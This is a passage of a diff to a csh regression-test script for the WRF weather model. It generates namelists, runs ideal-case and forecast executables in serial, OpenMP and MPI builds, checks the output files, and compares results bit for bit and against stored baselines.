+						echo "SUMMARY generate FCST  for $core physics $phys_option parallel $compopt $esmf_lib_str FAIL" >>! ${DEF_DIR}/wrftest.output
+						echo "-------------------------------------------------------------" >> ${DEF_DIR}/wrftest.output
+						$MAIL -s "WRF FAIL FCST $ARCH[1] " $FAIL_MAIL < ${DEF_DIR}/wrftest.output
+						if ( if ( $KEEP_ON_RUNNING == FALSE ) && ( $tries == 2 ) ) exit ( 6 )
+					endif
+					mv wrfout_d01_${filetag} $TMPDIR/wrfout_d01_${filetag}.${core}.${phys_option}.${compopt}_${n}p
+				/bin/cp namelist.input $TMPDIR/namelist.input.$core.${phys_option}.$compopt
+#DAVE###################################################
+echo did nmm fcst with nesting
+ls -ls $TMPDIR/wrfout_d01_${filetag}.${core}.${phys_option}.${compopt}_${n}p
+banner 23
+#set ans = "$<"
+#DAVE###################################################
+				end
+			end
+
+                        popd
+
+		else
+
+#DAVE###################################################
+echo doing ideal runs
+banner 24
+#set ans = "$<"
+#DAVE###################################################
+			#	The ideal cases have different physics tests than the real cases.  If this is 
+			#	more that the total number of ideal physics experiments that we were led to 
+			#	believe would exist, jump to the end of the physics loop.
+
+			if ( $phys_option > $Max_Ideal_Physics_Options ) then
+				goto BOTTOM_OF_PHYSICS_LOOP
+			endif
+
+                        set filetag=$filetag_ideal
+
+			foreach compopt ( $COMPOPTS )
+#DAVE###################################################
+echo doing compopt = $compopt
+echo filetag = $filetag
+banner 25
+#set ans = "$<"
+#DAVE###################################################
+
+
+				#	We sometimes are interested in bypassing the OpenMP option.
+
+				if ( $compopt == $COMPOPTS[2] ) then
+					if ( $ZAP_OPENMP == TRUE ) then
+						goto BYPASS_COMP_LOOP_IDEAL
+					endif
+				endif
+
+				pushd test/$core
+
+				if ( ! -e namelist.input.template ) cp namelist.input namelist.input.template
+
+				#	Create the correct namelist.input file.
+
+				cp ${CUR_DIR}/dom_ideal dom_ideal
+				if      ( $core == em_quarter_ss )  then
+					cp ${CUR_DIR}/phys_quarter_ss_${phys_option}a phys_tke
+					cp ${CUR_DIR}/phys_quarter_ss_${phys_option}b phys_mp
+					cp ${CUR_DIR}/phys_quarter_ss_${phys_option}c phys_nh
+					cp ${CUR_DIR}/phys_quarter_ss_${phys_option}d phys_nest
+					cp ${CUR_DIR}/phys_quarter_ss_${phys_option}e phys_bc
+					cp ${CUR_DIR}/phys_quarter_ss_${phys_option}f phys_sfclay
+				else if ( $core == em_b_wave     ) then
+					cp ${CUR_DIR}/phys_b_wave_${phys_option}a     phys_tke
+					cp ${CUR_DIR}/phys_b_wave_${phys_option}b     phys_mp
+					cp ${CUR_DIR}/phys_b_wave_${phys_option}c     phys_nh
+					cp ${CUR_DIR}/phys_b_wave_${phys_option}d     phys_nest
+				endif
+
+				cp ${CUR_DIR}/io_format io_format
+				if      ( $NESTED == TRUE ) then
+					if      ( $core == em_quarter_ss )  then
+						sed -e 's/ run_days *= *[0-9][0-9]*/ run_days = 00/g'                              		\
+						    -e 's/ run_minutes *= *[0-9][0-9]*/ run_minutes = 1/g'                         		\
+						    -e 's/ run_seconds *= *[0-9][0-9]*/ run_seconds = 0/g'                         		\
+		                                    -e 's/ history_interval *= [0-9][0-9]*/ history_interval = 1/g'                     	\
+						    -e 's/ frames_per_outfile *= [0-9][0-9]*/ frames_per_outfile = 100/g'               	\
+						    -e '/^ diff_opt/d' -e '/^ km_opt/d' -e '/^ damp_opt/d' -e '/^ rk_ord/r ./phys_tke' 		\
+ 		                                    -e '/^ io_form_history /,/^ io_form_boundary/d' -e '/^ restart_interval/r ./io_format'	\
+						    -e '/^ mp_physics/d' -e '/^ &physics/r ./phys_mp' 						\
+						    -e '/^ sf_sfclay_physics/d' -e '/^ radt/r ./phys_sfclay' 					\
+						    -e '/^ moist_adv_opt/,/^ non_hydrostatic/d' -e '/^ v_sca_adv_order/r ./phys_nh' 					\
+						    -e '/^ periodic_x /,/^ open_ye/d'								\
+						    -e '/^ &bdy_control/r ./phys_bc' 								\
+						    -e '/^ max_dom/d' -e '/^ time_step_fract_den/r ./dom_ideal'					\
+						    ./namelist.input.template >! namelist.input
+					else if ( $core == em_b_wave     ) then
+						sed -e 's/ run_days *= *[0-9][0-9]*/ run_days = 00/g'                              		\
+						    -e 's/ run_minutes *= *[0-9][0-9]*/ run_minutes = 20/g'                       		\
+						    -e 's/ history_interval *= [0-9][0-9]*/ history_interval = 20/g'                   		\
+						    -e 's/ frames_per_outfile *= [0-9][0-9]*/ frames_per_outfile = 100/g'               	\
+						    -e '/^ diff_opt/d' -e '/^ km_opt/d' -e '/^ damp_opt/d' -e '/^ rk_ord/r ./phys_tke' 		\
+ 		                                    -e '/^ io_form_history /,/^ io_form_boundary/d' -e '/^ restart_interval/r ./io_format'	\
+						    -e '/^ mp_physics/d' -e '/^ &physics/r ./phys_mp' 						\
+						    -e '/^ non_hydrostatic/d' -e '/^ v_sca_adv_order/r ./phys_nh' 				\
+						    -e '/^ max_dom/d' -e '/^ time_step_fract_den/r ./dom_ideal'					\
+						./namelist.input.template >! namelist.input
+					endif
+				else if ( $NESTED != TRUE ) then
+					if      ( $core == em_quarter_ss )  then
+						sed -e 's/ run_days *= *[0-9][0-9]*/ run_days = 00/g'                              		\
+						    -e 's/ run_minutes *= *[0-9][0-9]*/ run_minutes = 2/g'                         		\
+		                                    -e 's/ history_interval *= [0-9][0-9]*/ history_interval = 2/g'                     	\
+						    -e 's/ frames_per_outfile *= [0-9][0-9]*/ frames_per_outfile = 100/g'               	\
+						    -e '/^ diff_opt/d' -e '/^ km_opt/d' -e '/^ damp_opt/d' -e '/^ rk_ord/r ./phys_tke' 		\
+ 		                                    -e '/^ io_form_history /,/^ io_form_boundary/d' -e '/^ restart_interval/r ./io_format'	\
+						    -e '/^ mp_physics/d' -e '/^ &physics/r ./phys_mp' 						\
+						    -e '/^ sf_sfclay_physics/d' -e '/^ radt/r ./phys_sfclay' 					\
+						    -e '/^ moist_adv_opt/,/^ non_hydrostatic/d' -e '/^ v_sca_adv_order/r ./phys_nh' 					\
+						    -e '/^ periodic_x/d' -e '/^ open_xs/d' -e '/^ open_xe/d' 					\
+						    -e '/^ periodic_y/d' -e '/^ open_ys/d' -e '/^ open_ye/d' 					\
+						    -e '/^ &bdy_control/r ./phys_bc' 								\
+						    -e '/^ max_dom/d' -e '/^ time_step_fract_den/r ./dom_ideal'					\
+						    ./namelist.input.template >! namelist.input
+					else if ( $core == em_b_wave     ) then
+						sed -e 's/ run_days *= *[0-9][0-9]*/ run_days = 00/g'                              		\
+						    -e 's/ run_minutes *= *[0-9][0-9]*/ run_minutes = 100/g'                       		\
+						    -e 's/ history_interval *= [0-9][0-9]*/ history_interval = 100/g'                   	\
+						    -e 's/ frames_per_outfile *= [0-9][0-9]*/ frames_per_outfile = 100/g'               	\
+						    -e '/^ diff_opt/d' -e '/^ km_opt/d' -e '/^ damp_opt/d' -e '/^ rk_ord/r ./phys_tke' 		\
+ 		                                    -e '/^ io_form_history /,/^ io_form_boundary/d' -e '/^ restart_interval/r ./io_format'	\
+						    -e '/^ mp_physics/d' -e '/^ &physics/r ./phys_mp' 						\
+						    -e '/^ non_hydrostatic/d' -e '/^ v_sca_adv_order/r ./phys_nh' 					\
+						    -e '/^ max_dom/d' -e '/^ time_step_fract_den/r ./dom_ideal'					\
+						./namelist.input.template >! namelist.input
+					endif
+				endif
+
+				# WRF output quilt servers are only tested for MPI configuration.  
+				# Currently, only one WRF output quilt server is used.  
+
+				if ( $QUILT == TRUE ) then
+					if ( $compopt == $COMPOPTS[3] ) then
+						#	For now, test only one group of one output quilt servers.  
+						sed -e 's/ nio_tasks_per_group *= *[0-9][0-9]*/ nio_tasks_per_group = 1/g' \
+						    -e 's/ nio_groups *= *[0-9][0-9]*/ nio_groups = 1/g' \
+						namelist.input >! namelist.input.temp
+						mv -f namelist.input.temp namelist.input
+						echo "Building namelist.input.$core.${phys_option}.$compopt with one I/O quilt server enabled."
+						echo "NOTE  one I/O quilt server enabled for $core physics $phys_option parallel $compopt..." >>! ${DEF_DIR}/wrftest.output
+					endif
+				endif
+
+				/bin/cp namelist.input $TMPDIR/namelist.input.$core.${phys_option}.$compopt
+#DAVE###################################################
+echo built namelist 
+ls -ls namelist.input
+banner 26
+#set ans = "$<"
+#DAVE###################################################
+
+				#	If this is the serial code, generate the IC and BC.  The ideal.exe program is not
+				#	parallelized, so the data is generated and saved for the rest of the parallel tests.
+
+				if ( $compopt == $COMPOPTS[1] ) then
+
+					#	Zap any old input data laying around.
+
+					rm wrfinput_d01 >& /dev/null
+					rm wrfbdy_d01   >& /dev/null
+
+					../../main/ideal_${core}.exe.1 >! print.out.ideal_${core}_Parallel=${compopt}
+#DAVE###################################################
+echo ran ideal
+ls -ls wrfinput*
+banner 27
+#set ans = "$<"
+#DAVE###################################################
+
+					grep "SUCCESS COMPLETE" print.out.ideal_${core}_Parallel=${compopt} >& /dev/null
+					set success = $status
+
+					#	Did making the IC BC files work?
+
+					if ( ( -e wrfinput_d01 ) && ( $success == 0 ) ) then
+						echo "SUMMARY generate IC/BC for $core physics $phys_option parallel $compopt $esmf_lib_str PASS" >>! ${DEF_DIR}/wrftest.output
+						echo "-------------------------------------------------------------" >> ${DEF_DIR}/wrftest.output
+					else
+						echo "SUMMARY generate IC/BC for $core physics $phys_option parallel $compopt $esmf_lib_str FAIL" >>! ${DEF_DIR}/wrftest.output
+						echo "-------------------------------------------------------------" >> ${DEF_DIR}/wrftest.output
+						$MAIL -s "WRF FAIL making IC/BC $ARCH[1] " $FAIL_MAIL < ${DEF_DIR}/wrftest.output
+						if ( $KEEP_ON_RUNNING == FALSE ) exit ( 7 )
+					endif
+				endif
+		
+				#	Run the forecast for this core and parallel option
+
+				rm $TMPDIR/wrfout_d01_${filetag}.${core}.${phys_option}.$compopt >& /dev/null
+
+				if      ( $compopt == $COMPOPTS[1] ) then
+					setenv OMP_NUM_THREADS 1
+					if ( `uname` == AIX ) then
+						setenv XLSMPOPTS "parthds=1"
+					endif
+					if ( $NESTED == TRUE ) then
+						$SERIALRUNCOMMAND ../../main/wrf_${core}.exe.$compopt >! print.out.wrf_${core}_Parallel=${compopt}
+					else if ( $NESTED != TRUE ) then
+						../../main/wrf_${core}.exe.$compopt >! print.out.wrf_${core}_Parallel=${compopt}
+					endif
+				else if ( $compopt == $COMPOPTS[2] ) then
+					setenv OMP_NUM_THREADS $OPENMP
+					if ( `uname` == AIX ) then
+						setenv XLSMPOPTS "parthds=${OPENMP}"
+					endif
+					if ( $NESTED == TRUE ) then
+						$OMPRUNCOMMAND ../../main/wrf_${core}.exe.$compopt >! print.out.wrf_${core}_Parallel=${compopt}
+					else if ( $NESTED != TRUE ) then
+						../../main/wrf_${core}.exe.$compopt >! print.out.wrf_${core}_Parallel=${compopt}
+					endif
+				else if ( $compopt == $COMPOPTS[3] ) then
+					setenv OMP_NUM_THREADS 1
+					if ( `uname` == AIX ) then
+						setenv XLSMPOPTS "parthds=1"
+					endif
+					$MPIRUNCOMMAND ../../main/wrf_${core}.exe.$compopt $MPIRUNCOMMANDPOST
+					mv rsl.error.0000 print.out.wrf_${core}_Parallel=${compopt}
+				endif
+#DAVE###################################################
+echo ran ideal fcst
+banner 28
+#set ans = "$<"
+#DAVE###################################################
+
+				grep "SUCCESS COMPLETE" print.out.wrf_${core}_Parallel=${compopt}
+				set success = $status
+
+				#	Did making the forecast work, by that, we mean "is there an output file created?"
+
+				if ( ( -e wrfout_d01_${filetag} ) && ( $success == 0 ) ) then
+					if      ( $IO_FORM_NAME[$IO_FORM] == io_netcdf ) then
+						ncdump -h wrfout_d01_${filetag} | grep Time | grep UNLIMITED | grep currently | grep -q 2
+						set ok = $status
+						set found_nans = 1
+						if      ( `uname` == AIX   ) then
+							ncdump wrfout_d01_${filetag} | grep NaN >& /dev/null
+							set found_nans = $status
+						else if ( `uname` == OSF1  ) then
+							ncdump wrfout_d01_${filetag} | grep nan >& /dev/null
+					#		set found_nans = $status
+						else if ( `uname` == Linux ) then
+							ncdump wrfout_d01_${filetag} | grep nan >& /dev/null
+							set found_nans = $status
+						endif
+						if ( $found_nans == 0 ) then
+							echo found nans
+							set ok = 1
+						endif
+
+					else if ( $IO_FORM_NAME[$IO_FORM] == io_grib1  ) then
+#						set joe_times = `../../external/io_grib1/wgrib -s -4yr wrfout_d01_${filetag} |  grep -v ":anl:" | wc -l`
+#						if ( $joe_times >= 100 ) then
+						set joe_times = `../../external/io_grib1/wgrib -s -4yr wrfout_d01_${filetag} |  grep "UGRD:10 m" | wc -l`
+						if ( $joe_times == 2 ) then
+							set ok = 0
+						else
+							set ok = 1
+						endif
+					endif
+					if ( $ok == 0 ) then
+						echo "SUMMARY generate FCST  for $core physics $phys_option parallel $compopt $esmf_lib_str PASS" >>! ${DEF_DIR}/wrftest.output
+						echo "-------------------------------------------------------------" >> ${DEF_DIR}/wrftest.output
+					else
+						echo "SUMMARY generate FCST  for $core physics $phys_option parallel $compopt $esmf_lib_str FAIL" >>! ${DEF_DIR}/wrftest.output
+						echo "-------------------------------------------------------------" >> ${DEF_DIR}/wrftest.output
+						$MAIL -s "WRF FAIL FCST $ARCH[1] " $FAIL_MAIL < ${DEF_DIR}/wrftest.output
+						if ( $KEEP_ON_RUNNING == FALSE ) exit ( 8 )
+					endif
+				else
+					echo "SUMMARY generate FCST  for $core physics $phys_option parallel $compopt $esmf_lib_str FAIL" >>! ${DEF_DIR}/wrftest.output
+					echo "-------------------------------------------------------------" >> ${DEF_DIR}/wrftest.output
+					$MAIL -s "WRF FAIL FCST $ARCH[1] " $FAIL_MAIL < ${DEF_DIR}/wrftest.output
+					if ( $KEEP_ON_RUNNING == FALSE ) exit ( 9 )
+				endif
+
+				#	We have to save this output file for our biggy comparison after all of the
+				#	parallel options have been considered.
+
+				mv wrfout_d01_${filetag} $TMPDIR/wrfout_d01_${filetag}.${core}.${phys_option}.$compopt
+
+				#       To save space, we move the executables after we are finished with them.
+
+				if ( $phys_option == $Max_Ideal_Physics_Options ) then
+					mv ../../main/wrf_${core}.exe.$compopt $TMPDIR/wrf_${core}.exe.$compopt
+				endif
+#DAVE###################################################
+echo fcst was a success
+ls -ls $TMPDIR/wrfout_d01_${filetag}.${core}.${phys_option}.$compopt
+if ( $IO_FORM_NAME[$IO_FORM] == io_netcdf ) then
+	ncdump -v Times $TMPDIR/wrfout_d01_${filetag}.${core}.${phys_option}.$compopt | tail -20
+endif
+banner 29
+#set ans = "$<"
+#DAVE###################################################
+
+				popd
+
+				BYPASS_COMP_LOOP_IDEAL:
+
+			end
+
+		endif
+
+		#	OK, once more, we gotta check if this is a BIT4BIT run.  If so then there
+		#	are a number of comparisons to do.  If this is a an OPTIMIZED run, then the
+		#	comparisons will fail the bit-wise comparisons.
+
+		if ( $REG_TYPE == BIT4BIT) then
+
+	                if ( $core == nmm_real ) then
+	
+				pushd ${DEF_DIR}/regression_test/WRFV3/test/$core
+				set DIFFWRF = ${DEF_DIR}/regression_test/WRFV3/external/$IO_FORM_NAME[$IO_FORM]/diffwrf
+	
+	                        if ( ( -e $TMPDIR/wrfout_d01_${filetag}.${core}.${phys_option}.$COMPOPTS[3]_1p ) && \
+	                             ( -e $TMPDIR/wrfout_d01_${filetag}.${core}.${phys_option}.$COMPOPTS[3]_${Num_Procs}p ) ) then
+	                                set foo1 = ( ` \ls -ls $TMPDIR/wrfout_d01_${filetag}.${core}.${phys_option}.$COMPOPTS[3]_1p `)
+	                                set foo2 = ( ` \ls -ls $TMPDIR/wrfout_d01_${filetag}.${core}.${phys_option}.$COMPOPTS[3]_${Num_Procs}p `)
+	                                set size1 = $foo1[6]
+	                                set size2 = $foo2[6]
+	                                if ( $size1 == $size2 ) then
+	                                        set RIGHT_SIZE = TRUE
+	                                else
+	                                        set RIGHT_SIZE = FALSE
+	                                endif
+	                        else
+	                                set RIGHT_SIZE = FALSE
+	                        endif
+	
+	                        #       1p vs Num_Procs MPI
+	
+	                        rm fort.88 fort.98 >& /dev/null
+	                        if ( ( -e $TMPDIR/wrfout_d01_${filetag}.${core}.${phys_option}.$COMPOPTS[3]_1p ) && \
+	                             ( -e $TMPDIR/wrfout_d01_${filetag}.${core}.${phys_option}.$COMPOPTS[3]_${Num_Procs}p ) && \
+	                             ( $RIGHT_SIZE == TRUE ) ) then
+	                                $DIFFWRF $TMPDIR/wrfout_d01_${filetag}.${core}.${phys_option}.$COMPOPTS[3]_1p \
+	                                         $TMPDIR/wrfout_d01_${filetag}.${core}.${phys_option}.$COMPOPTS[3]_${Num_Procs}p >& /dev/null
+	                        else
+	                                touch fort.88 fort.98
+	                        endif
+	                        if ( ! -e fort.88 ) then
+	                                echo "SUMMARY 1 vs $Num_Procs MPI  for $core physics $phys_option $esmf_lib_str            PASS" >>! ${DEF_DIR}/wrftest.output
+	                                echo "-------------------------------------------------------------" >> ${DEF_DIR}/wrftest.output
+	                        else
+	                                echo "SUMMARY 1 vs $Num_Procs MPI  for $core physics $phys_option $esmf_lib_str            FAIL" >>! ${DEF_DIR}/wrftest.output
+	                                echo "-------------------------------------------------------------" >> ${DEF_DIR}/wrftest.output
+	                        endif
+	
+	                        popd
+	
+			else if ( ${#COMPOPTS} != 1 ) then
+	
+			#	If there is only a single parallel option, then we are just trying to
+			#	build the serial code.  That implies no comparisons are needed.
+	
+				#	All of the forecasts for this set of physics and core have been
+				#	generated.  We now compare the WRF model output files to see
+				#	if they are S^2D^2.
+		
+				pushd ${DEF_DIR}/regression_test/WRFV3/test/$core
+				set DIFFWRF = ${DEF_DIR}/regression_test/WRFV3/external/$IO_FORM_NAME[$IO_FORM]/diffwrf
+	
+				#	Are we skipping the OpenMP runs?
+	
+				if ( $ZAP_OPENMP == TRUE ) then
+					goto BYPASS_OPENMP_SUMMARY1
+				endif
+	
+				#	Are the files the same size?  If not, then only the initial times
+				#	will be compared.  That means, on a failure to run a forecast, the
+				#	diffwrf will give a pass.  We need to root out this evil.
+	
+				if ( ( -e $TMPDIR/wrfout_d01_${filetag}.${core}.${phys_option}.$COMPOPTS[1] ) && \
+				     ( -e $TMPDIR/wrfout_d01_${filetag}.${core}.${phys_option}.$COMPOPTS[2] ) ) then
+					set foo1 = ( ` \ls -ls $TMPDIR/wrfout_d01_${filetag}.${core}.${phys_option}.$COMPOPTS[1] `)
+					set foo2 = ( ` \ls -ls $TMPDIR/wrfout_d01_${filetag}.${core}.${phys_option}.$COMPOPTS[2] `)
+					set size1 = $foo1[6]
+					set size2 = $foo2[6]
+					if ( $size1 == $size2 ) then
+						set RIGHT_SIZE_OMP = TRUE
+					else
+						set RIGHT_SIZE_OMP = FALSE
+					endif
+				else
+					set RIGHT_SIZE_OMP = FALSE
+				endif
+	
+				BYPASS_OPENMP_SUMMARY1:
+	
+				if ( ( -e $TMPDIR/wrfout_d01_${filetag}.${core}.${phys_option}.$COMPOPTS[1] ) && \
+				     ( -e $TMPDIR/wrfout_d01_${filetag}.${core}.${phys_option}.$COMPOPTS[3] ) ) then
+					set foo1 = ( ` \ls -ls $TMPDIR/wrfout_d01_${filetag}.${core}.${phys_option}.$COMPOPTS[1] `)
+					set foo3 = ( ` \ls -ls $TMPDIR/wrfout_d01_${filetag}.${core}.${phys_option}.$COMPOPTS[3] `)
+					set size1 = $foo1[6]
+					set size3 = $foo3[6]
+					if ( $size1 == $size3 ) then
+						set RIGHT_SIZE_MPI = TRUE
+					else
+						set RIGHT_SIZE_MPI = FALSE
+					endif
+				else
+					set RIGHT_SIZE_MPI = FALSE
+				endif
+	
+				#	Are we skipping the OpenMP runs?
+	
+				if ( $ZAP_OPENMP == TRUE ) then
+					goto BYPASS_OPENMP_SUMMARY2
+				endif
+		
+				#	Serial vs OpenMP
+		
+				rm fort.88 fort.98 >& /dev/null
+				if ( ( -e $TMPDIR/wrfout_d01_${filetag}.${core}.${phys_option}.$COMPOPTS[1] ) && \
+				     ( -e $TMPDIR/wrfout_d01_${filetag}.${core}.${phys_option}.$COMPOPTS[2] ) && \
+				     ( $RIGHT_SIZE_OMP == TRUE ) ) then
+					$DIFFWRF $TMPDIR/wrfout_d01_${filetag}.${core}.${phys_option}.$COMPOPTS[1] \
+					         $TMPDIR/wrfout_d01_${filetag}.${core}.${phys_option}.$COMPOPTS[2] >& /dev/null
+				else
+					touch fort.88 fort.98
+				endif
+				if ( ! -e fort.88 ) then
+					echo "SUMMARY serial vs OMP  for $core physics $phys_option $esmf_lib_str            PASS" >>! ${DEF_DIR}/wrftest.output
+					echo "-------------------------------------------------------------" >> ${DEF_DIR}/wrftest.output
+				else
+					echo "SUMMARY serial vs OMP  for $core physics $phys_option $esmf_lib_str            FAIL" >>! ${DEF_DIR}/wrftest.output
+					echo "-------------------------------------------------------------" >> ${DEF_DIR}/wrftest.output
+				endif
+	
+				BYPASS_OPENMP_SUMMARY2:
+		
+				#	Serial vs MPI
+		
+				rm fort.88 fort.98 >& /dev/null
+				if ( ( -e $TMPDIR/wrfout_d01_${filetag}.${core}.${phys_option}.$COMPOPTS[1] ) && \
+				     ( -e $TMPDIR/wrfout_d01_${filetag}.${core}.${phys_option}.$COMPOPTS[3] ) && \
+				     ( $RIGHT_SIZE_MPI == TRUE ) ) then
+					$DIFFWRF $TMPDIR/wrfout_d01_${filetag}.${core}.${phys_option}.$COMPOPTS[1] \
+					         $TMPDIR/wrfout_d01_${filetag}.${core}.${phys_option}.$COMPOPTS[3] >& /dev/null
+				else
+					touch fort.88 fort.98
+				endif
+				if ( ! -e fort.88 ) then
+					echo "SUMMARY serial vs MPI  for $core physics $phys_option $esmf_lib_str            PASS" >>! ${DEF_DIR}/wrftest.output
+					echo "-------------------------------------------------------------" >> ${DEF_DIR}/wrftest.output
+				else
+					echo "SUMMARY serial vs MPI  for $core physics $phys_option $esmf_lib_str            FAIL" >>! ${DEF_DIR}/wrftest.output
+					echo "-------------------------------------------------------------" >> ${DEF_DIR}/wrftest.output
+				endif
+		
+				popd
+	
+			endif
+
+			# Generate and archive baseline or compare against baseline
+
+			if ( $core != nmm_real ) then
+				if ( $GENERATE_BASELINE != FALSE ) then
+					if ( ! -d $GENERATE_BASELINE ) then
+						echo "ERROR:  Baseline directory ${GENERATE_BASELINE} does not exist" >>! \
+						     ${DEF_DIR}/wrftest.output
+						exit ( 10 ) 
+					else
+						# Archive serial output file to baseline
+						pushd ${DEF_DIR}/regression_test/WRFV3/test/$core
+						set basefilenm = wrfout_d01_${filetag}.${core}.${phys_option}
+						set basefile = ${GENERATE_BASELINE}/${basefilenm}
+						set outfile = $TMPDIR/${basefilenm}.$COMPOPTS[1]
+						if ( -e $outfile ) then
+							cp $outfile $basefile || \
+							  ( echo "ERROR:  cannot copy ${outfile} to ${basefile}" >>! \
+							   ${DEF_DIR}/wrftest.output; exit 10 )
+						else
+							echo "ERROR:  Cannot archive baseline, file $outfile does not exist" >>! \
+							     ${DEF_DIR}/wrftest.output
+					echo "SUMMARY baseline archived in ${GENERATE_BASELINE} for $core physics $phys_option  FAIL" >>! \
+							     ${DEF_DIR}/wrftest.output
+							echo "-------------------------------------------------------------" >> \
+							     ${DEF_DIR}/wrftest.output
+							exit ( 10 ) 
+						endif
+					echo "SUMMARY baseline archived in ${GENERATE_BASELINE} for $core physics $phys_option  PASS" >>! \
+						     ${DEF_DIR}/wrftest.output
+						echo "-------------------------------------------------------------" >> \
+						     ${DEF_DIR}/wrftest.output
+						popd
+					endif
+				endif
+				if ( $COMPARE_BASELINE != FALSE ) then
+					if ( ! -d $COMPARE_BASELINE ) then
+						echo "${0}: ERROR::  Baseline directory ${COMPARE_BASELINE} does not exist" >>! \
+						     ${DEF_DIR}/wrftest.output
+						exit ( 10 ) 
+					else
+						# Compare against baseline output file
+						set basefilenm = wrfout_d01_${filetag}.${core}.${phys_option}
+						set basefile = ${COMPARE_BASELINE}/${basefilenm}
+						set DIFFWRF = ${DEF_DIR}/regression_test/WRFV3/external/$IO_FORM_NAME[$IO_FORM]/diffwrf
+						set testdir = ${DEF_DIR}/regression_test/WRFV3/test/$core
+						pushd ${testdir}
+						foreach compopt ( $COMPOPTS )
+							set cmpfile = $TMPDIR/${basefilenm}.$compopt
+							rm fort.88 fort.98 >& /dev/null
+							if ( ( -e ${basefile} ) && ( -e ${cmpfile} ) ) then
+								#	Are the files the same size?  If not, then only the initial times
+								#	will be compared.  That means, on a failure to run a forecast, the
+								#	diffwrf will give a pass.  We need to root out this evil.
+								set foob = ( ` \ls -ls ${basefile} `)
+								set fooc = ( ` \ls -ls ${cmpfile} `)
+								set sizeb = $foob[6]
+								set sizec = $fooc[6]
+								if ( $sizeb == $sizec ) then
+									$DIFFWRF ${basefile} ${cmpfile} >& /dev/null
+									if ( -e fort.88 ) then
+			echo "FAIL:  Baseline comparison, file ${cmpfile} did not match ${basefile} according to diffwrf" >>! \
+										${DEF_DIR}/wrftest.output
+									endif
+								else
+									touch fort.88 fort.98
+			echo "FAIL:  Baseline comparison, files ${cmpfile} and ${basefile} have different sizes" >>! \
+									${DEF_DIR}/wrftest.output
+								endif
+							else
+			echo "FAIL:  Baseline comparison, either ${cmpfile} or ${basefile} does not exist" >>! \
+									${DEF_DIR}/wrftest.output
+								touch fort.88 fort.98
+							endif
+							if ( ! -e fort.88 ) then
+			echo "SUMMARY compare vs baseline ${COMPARE_BASELINE} for $core physics $phys_option compopt $compopt $esmf_lib_str  PASS" >>! \
+								     ${DEF_DIR}/wrftest.output
+								echo "-------------------------------------------------------------" >> \
+								     ${DEF_DIR}/wrftest.output
+							else
+			echo "SUMMARY compare vs baseline ${COMPARE_BASELINE} for $core physics $phys_option compopt $compopt $esmf_lib_str  FAIL" >>! \
+								     ${DEF_DIR}/wrftest.output
+								echo "-------------------------------------------------------------" >> \
+								     ${DEF_DIR}/wrftest.output
+							endif
+						end
+						popd
+					endif
+				endif
+			else if ( $core == nmm_real ) then
+				if ( $GENERATE_BASELINE != FALSE ) then
+					if ( ! -d $GENERATE_BASELINE ) then
+						echo "ERROR:  Baseline directory ${GENERATE_BASELINE} does not exist" >>! \
+						     ${DEF_DIR}/wrftest.output
+						exit ( 10 ) 
+					else
+						# Archive serial output file to baseline
+						pushd ${DEF_DIR}/regression_test/WRFV3/test/$core
+						set basefilenm = wrfout_d01_${filetag}.${core}.${phys_option}
+						set basefile = ${GENERATE_BASELINE}/${basefilenm}
+						set outfile = $TMPDIR/${basefilenm}.$COMPOPTS[3]_1p
+						if ( -e $outfile ) then
+							cp $outfile $basefile || \
+							  ( echo "ERROR:  cannot copy ${outfile} to ${basefile}" >>! \
+							   ${DEF_DIR}/wrftest.output; exit 10 )
+						else
+							echo "ERROR:  Cannot archive baseline, file $outfile does not exist" >>! \
+							     ${DEF_DIR}/wrftest.output
+					echo "SUMMARY baseline archived in ${GENERATE_BASELINE} for $core physics $phys_option  FAIL" >>! \
+							     ${DEF_DIR}/wrftest.output
+							echo "-------------------------------------------------------------" >> \
+							     ${DEF_DIR}/wrftest.output
+							exit ( 10 ) 
+						endif
+					echo "SUMMARY baseline archived in ${GENERATE_BASELINE} for $core physics $phys_option  PASS" >>! \
+						     ${DEF_DIR}/wrftest.output
+						echo "-------------------------------------------------------------" >> \
+						     ${DEF_DIR}/wrftest.output
+						popd
+					endif
+				endif
+				if ( $COMPARE_BASELINE != FALSE ) then
+					if ( ! -d $COMPARE_BASELINE ) then
+						echo "${0}: ERROR::  Baseline directory ${COMPARE_BASELINE} does not exist" >>! \
+						     ${DEF_DIR}/wrftest.output
+						exit ( 10 ) 
+					else
+						# Compare against baseline output file
+						set basefilenm = wrfout_d01_${filetag}.${core}.${phys_option}
+						set basefile = ${COMPARE_BASELINE}/${basefilenm}
+						set DIFFWRF = ${DEF_DIR}/regression_test/WRFV3/external/$IO_FORM_NAME[$IO_FORM]/diffwrf
+						set testdir = ${DEF_DIR}/regression_test/WRFV3/test/$core
+						pushd ${testdir}
+						set compopt = $COMPOPTS[3]
+						foreach proc ( 1p 4p )
+							set cmpfile = $TMPDIR/${basefilenm}.${compopt}_${proc}
+							rm fort.88 fort.98 >& /dev/null
+							if ( ( -e ${basefile} ) && ( -e ${cmpfile} ) ) then
+								#	Are the files the same size?  If not, then only the initial times
+								#	will be compared.  That means, on a failure to run a forecast, the
+								#	diffwrf will give a pass.  We need to root out this evil.
+								set foob = ( ` \ls -ls ${basefile} `)
+								set fooc = ( ` \ls -ls ${cmpfile} `)
+								set sizeb = $foob[6]
+								set sizec = $fooc[6]
+								if ( $sizeb == $sizec ) then
+									$DIFFWRF ${basefile} ${cmpfile} >& /dev/null
+									if ( -e fort.88 ) then
+			echo "FAIL:  Baseline comparison, file ${cmpfile} did not match ${basefile} according to diffwrf" >>! \
+										${DEF_DIR}/wrftest.output
+									endif
+								else
+									touch fort.88 fort.98
+			echo "FAIL:  Baseline comparison, files ${cmpfile} and ${basefile} have different sizes" >>! \
+									${DEF_DIR}/wrftest.output
+								endif
+							else
+			echo "FAIL:  Baseline comparison, either ${cmpfile} or ${basefile} does not exist" >>! \
+									${DEF_DIR}/wrftest.output
+								touch fort.88 fort.98
+							endif
+							if ( ! -e fort.88 ) then
+			echo "SUMMARY compare vs baseline ${COMPARE_BASELINE} for $core physics $phys_option compopt $compopt $esmf_lib_str  PASS" >>! \
+								     ${DEF_DIR}/wrftest.output
+								echo "-------------------------------------------------------------" >> \
+								     ${DEF_DIR}/wrftest.output
+							else
+			echo "SUMMARY compare vs baseline ${COMPARE_BASELINE} for $core physics $phys_option compopt $compopt $esmf_lib_str  FAIL" >>! \
+								     ${DEF_DIR}/wrftest.output
+								echo "-------------------------------------------------------------" >> \
+								     ${DEF_DIR}/wrftest.output
+							endif
+						end
+						popd
+					endif
+				endif
+				goto ALL_SHE_WROTE_FOR_NMM
+			endif
+			# End of generate and archive baseline or compare against baseline
